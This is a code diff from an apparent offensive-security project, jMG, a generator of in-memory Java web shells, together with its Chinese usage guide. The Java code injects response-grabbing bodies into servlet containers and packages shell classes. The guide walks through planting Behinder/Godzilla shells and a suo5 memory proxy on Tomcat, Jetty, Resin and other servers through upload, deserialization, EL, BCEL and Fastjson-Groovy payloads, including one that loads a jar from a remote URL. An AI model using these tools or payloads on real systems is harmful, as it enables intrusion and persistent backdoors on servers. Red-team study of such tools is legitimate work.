|
||||
|
||||
private static final Random RANDOM = new Random();
|
||||
|
||||
public static Map.Entry<String, String> generateHeader() {
|
||||
String key = generateRandomKey();
|
||||
String value = generateRandomValue(key);
|
||||
return new AbstractMap.SimpleEntry<>(key, value);
|
||||
}
|
||||
|
||||
private static String generateRandomKey() {
|
||||
String[] keys = {"Referer","User-Agent"};
|
||||
return keys[RANDOM.nextInt(keys.length)];
|
||||
}
|
||||
|
||||
private static String generateRandomValue(String key) {
|
||||
switch (key) {
|
||||
case "Referer":
|
||||
case "User-Agent":
|
||||
return generateRandomValue();
|
||||
default:
|
||||
return "";
|
||||
}
|
||||
}
|
||||
|
||||
private static String generateRandomValue() {
|
||||
return CommonUtil.genRandomLengthString(4);
|
||||
}
|
||||
|
||||
}
|
||||
@@ -0,0 +1,76 @@
|
||||
package jmg.core.util;
|
||||
|
||||
import java.util.HashMap;
|
||||
import java.util.Map;
|
||||
|
||||
|
||||
public class ResponseUtil {
|
||||
|
||||
private static final Map<String, String> METHOD_BODY_MAP = new HashMap<>();
|
||||
|
||||
static {
|
||||
METHOD_BODY_MAP.put("tomcat", getCommonMethodBody());
|
||||
METHOD_BODY_MAP.put("jboss", getCommonMethodBody());
|
||||
METHOD_BODY_MAP.put("weblogic", getCommonMethodBody());
|
||||
METHOD_BODY_MAP.put("glassfish", getCommonMethodBody());
|
||||
METHOD_BODY_MAP.put("resin", getResinMethodBody());
|
||||
METHOD_BODY_MAP.put("jetty", getJettyMethodBody());
|
||||
METHOD_BODY_MAP.put("websphere", getWebsphereMethodBody());
|
||||
METHOD_BODY_MAP.put("undertow", getUndertowMethodBody());
|
||||
}
|
||||
|
||||
public static String getMethodBody(String serverType) {
|
||||
return METHOD_BODY_MAP.getOrDefault(serverType.toLowerCase(), "");
|
||||
}
|
||||
|
||||
private static String getCommonMethodBody() {
|
||||
return "{javax.servlet.http.HttpServletResponse response = null;" +
|
||||
" try {" +
|
||||
" response = (javax.servlet.http.HttpServletResponse) getFV(getFV($1, \"request\"), \"response\");" +
|
||||
" } catch (Exception ex) {" +
|
||||
" try {" +
|
||||
" response = (javax.servlet.http.HttpServletResponse) getFV($1, \"response\");" +
|
||||
" } catch (Exception ex1) {" +
|
||||
" }" +
|
||||
" }" +
|
||||
" return response;}";
|
||||
}
|
||||
|
||||
private static String getResinMethodBody() {
|
||||
return "{javax.servlet.http.HttpServletResponse response;" +
|
||||
" response = (javax.servlet.http.HttpServletResponse) getFV($1, \"_response\");" +
|
||||
" return response;}";
|
||||
}
|
||||
|
||||
private static String getJettyMethodBody() {
|
||||
return "{javax.servlet.http.HttpServletResponse response;\n" +
|
||||
" try{\n" +
|
||||
" response = (javax.servlet.http.HttpServletResponse) getFV(getFV($1,\"_channel\"),\"_response\");\n" +
|
||||
" }catch (Exception e){\n" +
|
||||
" response = (javax.servlet.http.HttpServletResponse) getFV(getFV($1,\"_connection\"),\"_response\");\n" +
|
||||
" }\n" +
|
||||
" return response;}";
|
||||
}
|
||||
|
||||
private static String getWebsphereMethodBody() {
|
||||
return "{javax.servlet.http.HttpServletResponse response;" +
|
||||
" response = (javax.servlet.http.HttpServletResponse) getFV(getFV($1, \"_connContext\"), \"_response\");" +
|
||||
" return response;}";
|
||||
}
|
||||
|
||||
|
||||
private static String getUndertowMethodBody() {
|
||||
return "{javax.servlet.http.HttpServletResponse response = null;\n" +
|
||||
"java.util.Map map = (java.util.Map) getFV(getFV($1, \"exchange\"), \"attachments\");\n" +
|
||||
"Object[] keys = map.keySet().toArray();\n" +
|
||||
"for (int i = 0; i < keys.length; i++) {\n" +
|
||||
" Object key = keys[i];\n" +
|
||||
" if (map.get(key).toString().contains(\"ServletRequestContext\")) {\n" +
|
||||
" response = (javax.servlet.http.HttpServletResponse) getFV(map.get(key), \"servletResponse\");\n" +
|
||||
" break;\n" +
|
||||
" }\n" +
|
||||
"}\n" +
|
||||
"return response;}";
|
||||
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,4 @@
|
||||
package org.springframework.web.servlet;
|
||||
|
||||
public interface AsyncHandlerInterceptor {
|
||||
}
|
||||
@@ -0,0 +1,21 @@
|
||||
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
|
||||
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd">
|
||||
<modelVersion>4.0.0</modelVersion>
|
||||
<parent>
|
||||
<groupId>jmg</groupId>
|
||||
<artifactId>java-memshell-generator</artifactId>
|
||||
<version>1.0.8</version>
|
||||
</parent>
|
||||
<artifactId>jmg-custom</artifactId>
|
||||
|
||||
|
||||
<dependencies>
|
||||
<dependency>
|
||||
<groupId>${parent.groupId}</groupId>
|
||||
<artifactId>jmg-core</artifactId>
|
||||
<version>${parent.version}</version>
|
||||
<scope>compile</scope>
|
||||
</dependency>
|
||||
</dependencies>
|
||||
|
||||
</project>
|
||||
@@ -0,0 +1,54 @@
|
||||
package jmg.custom.generator;
|
||||
|
||||
import javassist.ClassClassPath;
|
||||
import javassist.ClassPool;
|
||||
import javassist.CtClass;
|
||||
import jmg.core.config.AbstractConfig;
|
||||
import jmg.core.generator.IShellGenerator;
|
||||
import jmg.core.util.CommonUtil;
|
||||
|
||||
import javax.servlet.Filter;
|
||||
import javax.servlet.ServletRequestListener;
|
||||
import java.io.DataInputStream;
|
||||
import java.io.File;
|
||||
import java.io.FileInputStream;
|
||||
|
||||
public class CustomGenerator implements IShellGenerator {
|
||||
@Override
|
||||
public void initShell(AbstractConfig config) {
|
||||
File f;
|
||||
try {
|
||||
f = new File(config.getClassFilePath());
|
||||
if (!f.exists() || !f.isFile()) {
|
||||
return;
|
||||
}
|
||||
ClassPool classPool = ClassPool.getDefault();
|
||||
classPool.insertClassPath(new ClassClassPath(Filter.class));
|
||||
classPool.insertClassPath(new ClassClassPath(ServletRequestListener.class));
|
||||
classPool.makeInterface("org.springframework.web.servlet.AsyncHandlerInterceptor");
|
||||
classPool.makeInterface("org.springframework.web.servlet.HandlerInterceptor");
|
||||
String filePath = config.getClassFilePath();
|
||||
CtClass ctClass = classPool.makeClass(new DataInputStream(new FileInputStream(filePath)));
|
||||
config.setShellClassName(ctClass.getName());
|
||||
ctClass.detach();
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
throw new RuntimeException(e);
|
||||
}
|
||||
}
|
||||
|
||||
@Override
|
||||
public byte[] makeShell(AbstractConfig config) throws Exception {
|
||||
initShell(config);
|
||||
byte[] bytes = CommonUtil.getFileBytes(config.getClassFilePath());
|
||||
config.setShellBytes(bytes);
|
||||
config.setShellBytesLength(bytes.length);
|
||||
config.setShellGzipBase64String(CommonUtil.encodeBase64(CommonUtil.gzipCompress(bytes)));
|
||||
return bytes;
|
||||
}
|
||||
|
||||
@Override
|
||||
public byte[] modifyShell(String className, AbstractConfig config) {
|
||||
return null;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,368 @@
|
||||
---
|
||||
title: jMG v1.0.4 - 高度自定义的 Java 内存马生成工具
|
||||
author: pen4uin
|
||||
date: 2023-06-04
|
||||
---
|
||||
|
||||
# jMG v1.0.4 - 高度自定义的 Java 内存马生成工具
|
||||
|
||||
## 0x01 简介
|
||||
|
||||
**jMG (Java Memshell Generator)** 是一款支持高度自定义的 java 内存马生成工具,可作为 woodpecker 的插件使用,提供常见中间件的内存马注入支持。
|
||||
|
||||

|
||||
|
||||
功能介绍
|
||||
|
||||
- 支持的中间件 (Tomcat/Resin/Jetty/WebLogic/WebSphere/Undertow/GlassFish/Spring)
|
||||
- 支持的网站管理工具 (Behinder/Godzilla/Custom)
|
||||
- 支持的内存马类型 (Filter/Listener/Interceptor)
|
||||
- 支持的输出格式 (BASE64/BCEL/CLASS/JS/JSP/JAR/BIGINTEGER)
|
||||
- 支持的辅助模块 (探测目标中间件/序列化数据封装)
|
||||
|
||||
模块划分
|
||||
|
||||
- 内存马生成模块
|
||||
- Behinder、Godzilla
|
||||
- Custom
|
||||
- 注入自定义的Filter和Listener,常见场景:其他网站管理工具的服务端、内存代理、内存水坑等
|
||||
- 辅助模块
|
||||
- ServerType Detector 中间件探测器
|
||||
- 探测中间件信息,常见场景:SpringBoot Fatjar
|
||||
- 提供 4 种方式判断目标中间件 (DFSEcho/Sleep/DNSLog/HTTPLog)
|
||||
- Ysoserial Payload Generator
|
||||
- 基于 ysoserial-for-woodpecker 对反序列化漏洞利用提供支持、提高漏洞利用效率
|
||||
|
||||
|
||||
参数说明
|
||||
|
||||
| 参数名称 | 参数说明 | 其他 | |
|
||||
|-------------|----------|----------------------------------------|-|
|
||||
| server_type | 选择中间件的类型 | |
|
||||
| shell_type | 选择内存马的类型 | |
|
||||
| gadget_type | 选择利用链的类型 | 根据gadget自动完成对class的特殊处理,如继承类、实现接口、添加注解 |
|
||||
| format_type | 输出格式 | |
|
||||
|
||||
更多参数 - 参数自定义
|
||||
|
||||

|
||||
|
||||
## 0x02 中间件覆盖情况
|
||||
|
||||
| | godzilla-listener | godzilla-filter | behinder-listener | behinder-filter |
|
||||
|-----------------|-------------------|-----------------|-------------------|-----------------|
|
||||
| tomcat 9.0.39 | ✅ | ✅ | ✅ | ✅ |
|
||||
| tomcat 8.5.53 | ✅ | ✅ | ✅ | ✅ |
|
||||
| tomcat 7.0.59 | ✅ | ✅ | ✅ | ✅ |
|
||||
| tomcat 6.0.48 | ✅ | ✅ | ✅ | ✅ |
|
||||
| tomcat 5.5.36 | ✅ | ✅ | ✅ | ✅ |
|
||||
| jetty 9.4.43 | ✅ | ✅ | ✅ | ✅ |
|
||||
| jetty 8.2.0 | ✅ | ✅ | ✅ | ✅ |
|
||||
| jetty 7.6.0 | ✅ | ✅ | ✅ | ✅ |
|
||||
| resin 4.0.66 | ✅ | ✅ | ✅ | ✅ |
|
||||
| resin 3.1.15 | ✅ | ✅ | ❌ | ✅ |
|
||||
| weblogic 10.3.6 | ✅ | ✅ | ✅ | ✅ |
|
||||
| weblogic 12.1.3 | ✅ | ✅ | ✅ | ✅ |
|
||||
| websphere 8.5.5 | ✅ | ✅ | ❌ | ✅ |
|
||||
| websphere 9.0.0 | ✅ | ✅ | ❌ | ✅ |
|
||||
|
||||
注:以上测试结果仅供参考
|
||||
|
||||
|
||||
## 0x03 常见漏洞场景
|
||||
|
||||
### 01 文件上传漏洞 (JSP)
|
||||
|
||||
本地测试环境
|
||||
- Tomcat v6.0.48
|
||||
- JDK 8
|
||||
- 文件上传
|
||||
|
||||
1、生成 jsp 文件
|
||||
|
||||

|
||||
|
||||
2、上传 jsp 到目标服务器,访问即可注入内存马,参考使用说明进行设置
|
||||
|
||||
- 设置请求头
|
||||
|
||||

|
||||
|
||||
3、成功连接
|
||||
|
||||

|
||||
|
||||
### 02 反序列化漏洞 (readObject)
|
||||
|
||||
本地测试环境
|
||||
- Tomcat v8.5.53
|
||||
- JDK 8
|
||||
- readObject 反序列化
|
||||
- CB1 链
|
||||
|
||||
1、生成 class 文件
|
||||
```text
|
||||
server_type=Tomcat
|
||||
shell_type=Listener
|
||||
# 继承 AbstractTranslet
|
||||
gadget_type=JDK_AbstractTranslet
|
||||
format_type=CLASS
|
||||
output_path=/tmp/
|
||||
```
|
||||
|
||||

|
||||
|
||||
2、使用 `辅助模块` 进行序列化数据封装
|
||||
|
||||
```text
|
||||
yso_gadget=CommonsBeanutils1
|
||||
yso_cmd=class_file:/tmp/HttpClientUtil.class
|
||||
format_type=BASE64
|
||||
```
|
||||
|
||||

|
||||
|
||||
注:依赖 https://github.com/woodpecker-framework/ysoserial-for-woodpecker
|
||||
|
||||
3、利用后,参考使用说明进行连接
|
||||
|
||||

|
||||
|
||||
### 03 表达式注入漏洞 (EL)
|
||||
|
||||
本地测试环境
|
||||
- Tomcat v8.5.83
|
||||
- JDK 8
|
||||
- EL 表达式代码执行
|
||||
|
||||
1、生成 class文件
|
||||
```text
|
||||
server_type=Tomcat
|
||||
shell_type=Listener
|
||||
gadget_type=NONE
|
||||
format_type=CLASS
|
||||
output_path=/tmp/
|
||||
```
|
||||
|
||||

|
||||
|
||||
2、使用 jexpr-encoder-utils 进行封装
|
||||
|
||||

|
||||
|
||||
注:依赖 https://github.com/woodpecker-appstore/jexpr-encoder-utils
|
||||
|
||||
3、利用后,参考使用说明进行连接
|
||||
|
||||

|
||||
|
||||
### 04 代码执行漏洞 (Bsh)
|
||||
|
||||
本地测试环境
|
||||
- Resin v4.0.40
|
||||
- JDK 8
|
||||
- Bsh 代码执行漏洞
|
||||
|
||||
1、选择 输出格式为 BCEL ,生成 paylaod
|
||||
```text
|
||||
server_type=Resin
|
||||
shell_type=Listener
|
||||
gadget_type=NONE
|
||||
format_type=BCEL
|
||||
```
|
||||
|
||||

|
||||
|
||||
2、利用 BCEL 打内存马
|
||||
|
||||
```text
|
||||
new com.sun.org.apache.bcel.internal.util.ClassLoader().loadClass("BCEL编码后的paylaod").newInstance();
|
||||
```
|
||||
|
||||
3、参考使用说明进行连接
|
||||
|
||||

|
||||
|
||||
### 05 反序列化漏洞 (Fastjson)
|
||||
|
||||
本地测试环境
|
||||
- Tomcat v8.5.83
|
||||
- Fastjson v1.2.80 反序列化漏洞
|
||||
- Groovy v3.0.8
|
||||
|
||||
|
||||
1、选择 输出格式为 JAR,生成 payload
|
||||
|
||||
```text
|
||||
server_type=Tomcat
|
||||
shell_type=Listener
|
||||
# 选择利用链为 Fastjson+Groovy
|
||||
gadget_type=FastjsonGroovy
|
||||
format_type=JAR
|
||||
output_path=/tmp/fj/
|
||||
```
|
||||
|
||||

|
||||
|
||||
2、利用 groovy 利用链打内存马
|
||||
|
||||
第1个请求
|
||||
|
||||
```json
|
||||
{
|
||||
"@type":"java.lang.Exception",
|
||||
"@type":"org.codehaus.groovy.control.CompilationFailedException",
|
||||
"unit":{}
|
||||
}
|
||||
```
|
||||
|
||||
第2个请求
|
||||
|
||||
```json
|
||||
{
|
||||
"@type":"org.codehaus.groovy.control.ProcessingUnit",
|
||||
"@type":"org.codehaus.groovy.tools.javac.JavaStubCompilationUnit",
|
||||
"config":{
|
||||
"@type":"org.codehaus.groovy.control.CompilerConfiguration",
|
||||
"classpathList":"http://127.0.0.1:8888/NetworkUtils.jar"
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||

|
||||
|
||||
3、参考使用说明进行连接
|
||||
|
||||

|
||||
|
||||
### 06 模板注入漏洞 (Thymeleaf)
|
||||
本地测试环境
|
||||
- SpringBoot v2.2.0.RELEASE
|
||||
- 内嵌 Jetty
|
||||
- JDK 8
|
||||
- Thymeleaf 模板注入漏洞
|
||||
|
||||
由于 springboot 可以自定义中间件,所以在 springboot 场景下注入内存马时需要考虑目标中间件可能不是常见的tomcat,有可能是jetty/undertow,也有可能是信创中间件。
|
||||
|
||||
这种情况一般有两种方案:
|
||||
- 注入框架层面的内存马,比如 interceptor
|
||||
- 先判断出目标中间件,再注入对应中间件的内存马
|
||||
|
||||
这个时候就需要上 辅助模块 - ServerType Detector 来探测目标中间件。
|
||||
|
||||
1、优先使用 DFSEcho 通过回显来判断目标中间件,失败后再考虑dnslog等其他选择
|
||||
|
||||
```text
|
||||
detect_way=DFSEcho
|
||||
server_type=Tomcat
|
||||
dnslog_domain=xxx.dnslog.cn
|
||||
httplog_url=http://xxx.httplog.cn
|
||||
sleep_seconds=5
|
||||
gadget_type=NONE
|
||||
format_type=BCEL
|
||||
```
|
||||
|
||||

|
||||
|
||||
2、获取到目标中间件为 jetty
|
||||
|
||||

|
||||
|
||||
3、生成对应的 payload
|
||||
|
||||
```text
|
||||
server_type=Jetty
|
||||
shell_type=Listener
|
||||
gadget_type=NONE
|
||||
format_type=BCEL
|
||||
```
|
||||
|
||||

|
||||
|
||||
4、漏洞利用
|
||||
|
||||
第1次尝试 - 失败
|
||||
|
||||

|
||||
|
||||
很常见的问题,参考 shiro 的漏洞利用的解决方案,写个 loader 加载字节码再 defineclass 即可。
|
||||
|
||||
重新生成 payload
|
||||
|
||||

|
||||
|
||||
5、利用后参考使用说明进行连接即可
|
||||
|
||||

|
||||
|
||||
更多的场景就见仁见智了。
|
||||
|
||||
|
||||
## 0x04 常见利用场景
|
||||
|
||||
### 01 注入内存代理
|
||||
本地测试环境
|
||||
|
||||
- Tomcat v8.5.53
|
||||
- JDK 8
|
||||
- readObject 反序列化
|
||||
- CB1 链
|
||||
|
||||
|
||||
1、以 suo5 为例,编译 Suo5Filter.java
|
||||
|
||||
https://github.com/zema1/suo5/blob/main/assets/Suo5Filter.java
|
||||
|
||||
2、选择对应的中间件,生成 payload
|
||||
|
||||
```text
|
||||
server_type=Tomcat
|
||||
gadget_type=JDK_AbstractTranslet
|
||||
format_type=CLASSc
|
||||
lass_file_path=/tmp/Suo5Filter.class
|
||||
output_path=/tmp/
|
||||
```
|
||||
|
||||

|
||||
|
||||
3、使用 辅助模块 进行序列化数据封装
|
||||
|
||||

|
||||
|
||||
4、利用后连接测试,内存代理注入成功
|
||||
|
||||

|
||||
|
||||
|
||||
## 0x05 小结
|
||||
|
||||
下载地址
|
||||
|
||||
[java-memshell-generator](https://github.com/pen4uin/java-memshell-generator)
|
||||
|
||||
注意⚠️
|
||||
```text
|
||||
该工具仅适用于在授权环境/测试环境进行使用,请勿用于生产环境。
|
||||
如果遇到 bug / 建议 / 实战场景需求,欢迎提 issue 交流
|
||||
```
|
||||
|
||||
目录结构如下 (需要下载 yso-for-woodpecker)
|
||||
```text
|
||||
pen4uin@bogon Desktop % tree /tmp/woodpecker
|
||||
/tmp/woodpecker
|
||||
├── common
|
||||
│ └── ysoserial-for-woodpecker-0.5.2.jar
|
||||
├── config.db
|
||||
├── plugin
|
||||
│ └── jMG-1.0.4.beta1.jar
|
||||
└── woodpecker-framework.1.3.5.jar
|
||||
```
|
||||
|
||||
|
||||
<br>
|
||||
参考
|
||||
|
||||
- https://github.com/feihong-cs/memShell
|
||||
- https://github.com/su18/MemoryShell
|
||||
- https://github.com/woodpecker-framework/
|
||||
- https://github.com/BeichenDream/GodzillaMemoryShellProject
|
||||
|
After Width: | Height: | Size: 61 KiB |
|
After Width: | Height: | Size: 77 KiB |
|
After Width: | Height: | Size: 94 KiB |
|
After Width: | Height: | Size: 74 KiB |
|
After Width: | Height: | Size: 178 KiB |
|
After Width: | Height: | Size: 100 KiB |
|
After Width: | Height: | Size: 228 KiB |
|
After Width: | Height: | Size: 179 KiB |
|
After Width: | Height: | Size: 64 KiB |
|
After Width: | Height: | Size: 156 KiB |
|
After Width: | Height: | Size: 183 KiB |
|
After Width: | Height: | Size: 159 KiB |
|
After Width: | Height: | Size: 166 KiB |
|
After Width: | Height: | Size: 65 KiB |
|
After Width: | Height: | Size: 114 KiB |
|
After Width: | Height: | Size: 162 KiB |
|
After Width: | Height: | Size: 168 KiB |
|
After Width: | Height: | Size: 110 KiB |
|
After Width: | Height: | Size: 127 KiB |
|
After Width: | Height: | Size: 151 KiB |
|
After Width: | Height: | Size: 99 KiB |
|
After Width: | Height: | Size: 294 KiB |
|
After Width: | Height: | Size: 38 KiB |